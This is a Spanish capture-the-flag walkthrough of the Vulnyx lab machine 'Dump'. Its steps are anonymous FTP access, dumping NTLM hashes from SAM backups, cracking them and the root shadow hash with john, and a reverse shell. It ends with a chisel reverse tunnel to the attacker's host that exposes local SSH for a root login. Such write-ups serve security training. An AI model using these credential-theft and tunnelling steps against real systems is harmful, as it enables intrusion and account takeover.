Dump Vulnyx (Easy - Linux)

Escaneo de puertos

nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn <IP>
nmap -sCV -p<PORTS> <IP>

Info:

Starting Nmap 7.95 ( https://nmap.org ) at 2025-08-19 03:27 EDT
Nmap scan report for 192.168.5.84
Host is up (0.00061s latency).

PORT     STATE SERVICE  VERSION
21/tcp   open  ftp      pyftpdlib 1.5.4
| ftp-syst: 
|   STAT: 
| FTP server status:
|  Connected to: 192.168.5.84:21
|  Waiting for username.
|  TYPE: ASCII; STRUcture: File; MODE: Stream
|  Data connection closed.
|_End of status.
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_drwxrwxrwx   2 root     root         4096 Feb 09  2024 .backup [NSE: writeable]
80/tcp   open  http     Apache httpd 2.4.38 ((Debian))
|_http-server-header: Apache/2.4.38 (Debian)
|_http-title: Apache2 Debian Default Page: It works
4200/tcp open  ssl/http ShellInABox
|_http-title: Shell In A Box
| ssl-cert: Subject: commonName=dump
| Not valid before: 2024-02-09T11:53:57
|_Not valid after:  2044-02-04T11:53:57
|_ssl-date: TLS randomness does not represent time
MAC Address: 08:00:27:2F:9A:CF (PCS Systemtechnik/Oracle VirtualBox virtual NIC)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 26.52 seconds

Veremos varias cosas interesantes entre ellas un FTP que vemos de primeras que el modo anonimo si se puede loguear, por lo que vamos a intentar iniciar sesion.

FTP

ftp anonymous@<IP>

Info:

229 Entering extended passive mode (|||35789|).
125 Data connection already open. Transfer starting.
drwxrwxrwx   2 root     root         4096 Feb 09  2024 .backup
226 Transfer complete.

Si listamos veremos que hay un .backup de directorio, si entramos dentro veremos dos archivos que seran los siguientes:

cd .backup
ls -la

Info:

229 Entering extended passive mode (|||41389|).
125 Data connection already open. Transfer starting.
-rwxrwxrwx   1 root     root        24576 Feb 09  2024 sam.bak
-rwxrwxrwx   1 root     root      3264512 Feb 09  2024 system.bak
226 Transfer complete.

Vemos que son dos archivos relacionados con las tipicas claves que nos podemos encontrar en un windows para poder extraer los hashes NTLM de dicho windows, por lo que dentro tiene que haber cosas interesantes.

get sam.bak
get system.bak

Una vez que nos lo hayamos descargado, vamos a extraer dichos hashes.

impacket-secretsdump -sam sam.bak -system system.bak LOCAL

Info:

Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

[*] Target system bootKey: 0x042145cf7279c87791fa907cd6d9bccd
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
HelpAssistant:1000:45ab968b011c0b6cfd1e9e1b30ff40cc:916da1881680fcb38f2ce951f666d6be:::
SUPPORT_388945a0:1002:aad3b435b51404eeaad3b435b51404ee:d0d506281c0dbfe0a16f57e412411d37:::
dumper:1004:ebd1b59f4f5a6843aad3b435b51404ee:7324322d85d3714068d67eccee442365:::
admin:1005:7cc48b08335cd858aad3b435b51404ee:556a8f7773e850d4cf4d789d39ddaca0:::
[*] Cleaning up...

Veremos que lo hemos extraido de forma correcta, por lo que vamos a crear un archivo con dicho hash para poder intentar crackearlo.

hash

Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
dumper:1004:ebd1b59f4f5a6843aad3b435b51404ee:7324322d85d3714068d67eccee442365:::
admin:1005:7cc48b08335cd858aad3b435b51404ee:556a8f7773e850d4cf4d789d39ddaca0:::

Ahora vamos a utilizar john para intentar crackearlo de esta forma:

john --format=NT --wordlist=<WORDLIST> hash

Info:

Using default input encoding: UTF-8
Loaded 3 password hashes with no different salts (NT [MD4 128/128 SSE2 4x3])
Warning: no OpenMP support for this hash type, consider --fork=6
Press 'q' or Ctrl-C to abort, almost any other key for status
blabla           (admin)     
                 (Administrator)     
1dumper          (dumper)     
3g 0:00:00:00 DONE (2025-08-19 03:51) 25.00g/s 19485Kp/s 19485Kc/s 19540KC/s 1ejem..1doxie
Use the "--show --format=NT" options to display all of the cracked passwords reliably
Session completed.

Veremos que ha funcionado la mayoria, por lo que vamos a guardarnos dichas credenciales por si las tuvieramos que utilizar en un futuro.

Vamos a investigar el puerto 80 a ver que vemos ahi dentro, pero no veremos nada interesante, ahora si probamos a entrar al puerto 4200 que desde el nmap vimos que era como una especie de webshell en la propia pagina, veremos un error si entramos asi:

URL = http://<IP>:4200/

Pero en el reporte de nmap veremos que utiliza SSL por lo que tendremos que poner HTTPS de esta forma:

URL = https://<IP>:4200/

Con esto si nos aparecera como una terminal en la propia web, vamos a probar a utilizar los usuarios y contraseñas que descubrimos anteriormente.

User: dumper
Pass: 1dumper

Info:

Linux dump 4.19.0-26-amd64 #1 SMP Debian 4.19.304-1 (2024-01-09) x86_64            
dumper@dump:~$ whoami                                                              
dumper

Con esto veremos que estaremos dentro vamos a realizar una reverse shell para tener una mejor shell.

Antes de enviarla vamos a ponernos a la escucha.

nc -lvnp <PORT>

Ahora si enviamos lo anterior y volvemos a donde tenemos la escucha veremos lo siguiente:

listening on [any] 7777 ...
connect to [192.168.5.50] from (UNKNOWN) [192.168.5.84] 38774
dumper@dump:~$ whoami
whoami
dumper

Vamos a sanitizar la shell de la siguiente forma:

Sanitización de shell (TTY)

script /dev/null -c bash
# <Ctrl> + <z>
stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=/bin/bash

# Para ver las dimensiones de nuestra consola en el Host
stty size

# Para redimensionar la consola ajustando los parametros adecuados
stty rows <ROWS> columns <COLUMNS>

Ahora vamos a leer la flag del usuario.

user.txt

cfbe86765c16e9bf8ddc3739f4f270a9

Escalate Privileges

Si enumeramos un poco el sistema podremos ver lo siguiente:

ls -la /etc/shadow

Info:

-rw-r--r-- 1 root shadow 974 feb  9  2024 /etc/shadow

Veremos que podemos leer el archivo shadow, si lo leemos veremos lo siguiente:

root:$6$jzcdBmCLz0zF2.b/$6sok07AjDc3TN3oeI/NqrdZ6NSQly3ADW6lvs3z5q.5GDqsCypL8WtL7ARhzDcdYgukakXWeNbiIP7GyigCse/:19762:0:99999:7:::
daemon:*:18898:0:99999:7:::
bin:*:18898:0:99999:7:::
sys:*:18898:0:99999:7:::
sync:*:18898:0:99999:7:::
games:*:18898:0:99999:7:::
man:*:18898:0:99999:7:::
lp:*:18898:0:99999:7:::
mail:*:18898:0:99999:7:::
news:*:18898:0:99999:7:::
uucp:*:18898:0:99999:7:::
proxy:*:18898:0:99999:7:::
www-data:*:18898:0:99999:7:::
backup:*:18898:0:99999:7:::
list:*:18898:0:99999:7:::
irc:*:18898:0:99999:7:::
gnats:*:18898:0:99999:7:::
nobody:*:18898:0:99999:7:::
_apt:*:18898:0:99999:7:::
systemd-timesync:*:18898:0:99999:7:::
systemd-network:*:18898:0:99999:7:::
systemd-resolve:*:18898:0:99999:7:::
messagebus:*:18898:0:99999:7:::
sshd:*:18898:0:99999:7:::
systemd-coredump:!!:18898::::::
dumper:$6$8sDPsnEu5ZBa8bgE$EqxYjZuAYVmAqbusMGgx.NmwUwx0UcSVe2Z/YTRk1DqBOnxFxNbot7ktfzYxNALw8iDKXrkfV5.e54uTMgr371:19762:0:99999:7:::
shellinabox:*:19762:0:99999:7:::

Vemos que nos ha dejado, por lo que vamos a probar a crackear el hash del usuario root.

hash.root

root:$6$jzcdBmCLz0zF2.b/$6sok07AjDc3TN3oeI/NqrdZ6NSQly3ADW6lvs3z5q.5GDqsCypL8WtL7ARhzDcdYgukakXWeNbiIP7GyigCse/:19762:0:99999:7:::

Ahora si lo intentamos crackear veremos lo siguiente:

john --format=crypt --wordlist=<WORDLISTS> hash.root

Info:

Using default input encoding: UTF-8
Loaded 1 password hash (crypt, generic crypt(3) [?/64])
Cost 1 (algorithm [1:descrypt 2:md5crypt 3:sunmd5 4:bcrypt 5:sha256crypt 6:sha512crypt]) is 6 for all loaded hashes
Cost 2 (algorithm specific iterations) is 5000 for all loaded hashes
Will run 6 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
shadow123        (root)     
1g 0:00:00:02 DONE (2025-08-19 04:04) 0.4830g/s 3942p/s 3942c/s 3942C/s weston..kaiden
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

Veremos que lo hemos conseguido, pero si volvemos a la maquina a realizar el su para escalar al usuario root veremos que no nos deja, pero si investigamos un poco veremos el siguiente puerto.

ss -tuln

Info:

Netid            State             Recv-Q            Send-Q                       Local Address:Port                       Peer Address:Port            
udp              UNCONN            0                 0                                  0.0.0.0:68                              0.0.0.0:*               
tcp              LISTEN            0                 100                                0.0.0.0:21                              0.0.0.0:*               
tcp              LISTEN            0                 128                              127.0.0.1:22                              0.0.0.0:*               
tcp              LISTEN            0                 128                                0.0.0.0:4200                            0.0.0.0:*               
tcp              LISTEN            0                 128                                      *:80                                    *:*

Veremos algo interesante y es que hay un SSH de forma local, pero si probamos a conectarnos de forma local por SSH veremos que no nos deja, por lo que vamos a utilizar chisel para exponerlo a nuestra maquina host.

URL = Download Chisel GitHub

Ahora lo instalaremos de esta forma en nuestra maquina host.

go install github.com/jpillora/chisel@latest

Y haremos lo siguiente en dicha maquina:

chisel server -p 8000 --reverse

Desde la maquina victima esto otro:

cd /tmp
wget https://github.com/jpillora/chisel/releases/download/v1.9.1/chisel_1.9.1_linux_amd64.gz
gunzip chisel_1.9.1_linux_amd64.gz
chmod +x chisel_1.9.1_linux_amd64
./chisel_1.9.1_linux_amd64 client <IP_ATTACKER>:8000 R:2222:127.0.0.1:22

Info (VICTIMA):

2025/08/19 10:25:57 client: Connecting to ws://192.168.5.50:8000
2025/08/19 10:25:57 client: Connected (Latency 2.867261ms)

Info (ATTACKER):

2025/08/19 04:16:00 server: Reverse tunnelling enabled
2025/08/19 04:16:00 server: Fingerprint NWSrKq19+/1bJLz5QUix+DiY2DwE7DGyis59k5LzuYo=
2025/08/19 04:16:00 server: Listening on http://0.0.0.0:8000
2025/08/19 04:25:56 server: session#1: Client version (1.9.1) differs from server version (0.0.0-src)
2025/08/19 04:25:56 server: session#1: tun: proxy#R:2222=>22: Listening

Veremos que ha funcionado todo de forma correcta, ahora vamos a conectarnos de esta forma por SSH con las credenciales de root.

ssh root@127.0.0.1 -p 2222

Metemos como contraseña shadow123...

Info:

Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '[127.0.0.1]:2222' (ED25519) to the list of known hosts.
root@127.0.0.1's password: 
Linux dump 4.19.0-26-amd64 #1 SMP Debian 4.19.304-1 (2024-01-09) x86_64
root@dump:~# whoami
root

Con esto veremos que ya estaremos dentro, por lo que leeremos la flag de root.

root.txt

60c60f8e926b65a55bf8bd6239bb616d

Last updated